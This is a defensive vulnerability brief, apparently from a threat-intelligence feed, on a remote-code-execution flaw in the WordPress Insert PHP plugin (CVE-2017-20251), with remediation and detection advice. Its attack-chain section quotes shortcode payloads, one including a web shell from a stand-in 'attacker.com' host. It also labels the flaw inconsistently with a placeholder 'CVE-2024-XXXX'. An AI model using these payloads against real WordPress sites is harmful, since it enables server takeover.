WordPress Insert PHP Plugin RCE (CVE-2017-20251)
An unauthenticated remote code execution vulnerability (CVE-2024-XXXX, CVE-2017-20251) in WordPress Insert PHP plugin versions before 3.3.1 allows attackers to execute arbitrary PHP code by injecting malicious shortcodes via the WordPress REST API endpoint /wp-json/wp/v2/posts.
CVE search metadata
CVE search record: CVE-2017-20251. Severity: critical. CVSS: 9.8. EPSS: 0.56%. KEV: no. Product: Insert PHP plugin < 3.3.1 (< 3.3.1). Brief: WordPress Insert PHP Plugin RCE (CVE-2017-20251). Brief link: https://feed.craftedsignal.io/briefs/2026-06-wordpress-insert-php-rce/
Triage facts
Revision 1- Applicability
- Insert PHP plugin < 3.3.1 (< 3.3.1)
- Evidence
- Unknown
- Severity
- Critical
- Sources
- 5 public sources
- Freshness
- Revision 1Jun 14, 21:00 UTC
- Detection
- 1 rule
- Vulnerabilities
- 1 CVE
What's new
- 1. poc_available; insert php plugin < 3.3.1 version < 3.3.1 Oct 30, 05:31 via sploitus
CVE-2017-20251 is a critical PHP code injection vulnerability affecting WordPress sites running the Insert PHP plugin prior to version 3.3.1. This flaw allows unauthenticated attackers to achieve remote code execution (RCE) by sending specially crafted HTTP POST requests to the WordPress REST API endpoint /wp-json/wp/v2/posts. The malicious requests contain insert_php shortcodes embedded within the post content, which, when processed by the vulnerable plugin, execute arbitrary PHP code. This enables attackers to include and execute remote PHP files on the server, potentially leading to full system compromise. The vulnerability has a CVSS v3.1 Base Score of 9.8 (Critical) and an exploit has been publicly disclosed.
Attack Chain
- Reconnaissance: An unauthenticated attacker identifies a WordPress instance running the vulnerable Insert PHP plugin (versions prior to 3.3.1).
- Vulnerability Exploitation: The attacker crafts a malicious HTTP POST request to exploit the PHP code injection vulnerability.
- Targeting REST API: The crafted request is directed at the WordPress REST API endpoint, specifically
/wp-json/wp/v2/posts, which is used for creating or updating posts. - Shortcode Injection: The POST request's body (representing the post content) includes a malicious
[insert_php]shortcode containing arbitrary PHP code (e.g.,<?php system('command'); ?>or<?php include 'http://attacker.com/webshell.php'; ?>). - Code Execution: The vulnerable Insert PHP plugin processes the
[insert_php]shortcode within the post content without proper sanitization or authentication checks, leading to the execution of the embedded PHP code. - Remote Code Execution (RCE): The executed PHP code allows the attacker to run arbitrary operating system commands, include remote files, or deploy a web shell for persistent access.
- Impact: The attacker gains full control over the compromised WordPress server, enabling data exfiltration, website defacement, or further lateral movement within the network.
Impact
Successful exploitation of CVE-2017-20251 grants unauthenticated remote code execution on the affected WordPress server. This allows attackers to perform a wide range of malicious activities, including installing backdoors, stealing sensitive data (e.g., database credentials, user information), defacing the website, using the server for further attacks, or establishing a persistent presence. The high CVSS score of 9.8 reflects the critical nature of this vulnerability, making it a severe threat to any organization running the vulnerable plugin. While specific victim counts are not available, public exploits increase the likelihood of widespread targeting.
Recommendation
- Update the "Insert PHP" plugin to version 3.3.1 or higher immediately to remediate CVE-2017-20251.
- Deploy the Sigma rules provided in this brief to your SIEM for detection of exploitation attempts and post-exploitation activity.
- Monitor web server access logs for unusual POST requests targeting the
/wp-json/wp/v2/postsendpoint, especially those containing shortcode-like patterns, as indicated in theDetects CVE-2017-20251 Exploitation — WordPress Insert PHP Shortcode Injectionrule. - Enable process creation logging (e.g., Sysmon on Windows, Auditd on Linux) on web servers to detect suspicious child processes spawned by the web server or PHP interpreter, as indicated in the
Detect Web Server Spawning Suspicious Processesrule.
Detection coverage 1
Detect Web Server Spawning Suspicious Processes
highDetects a web server process (e.g., Apache, Nginx, PHP-FPM) spawning unusual child processes often indicative of remote code execution (RCE) via vulnerabilities like CVE-2017-20251.
Detection queries are available on the platform. Get full rules →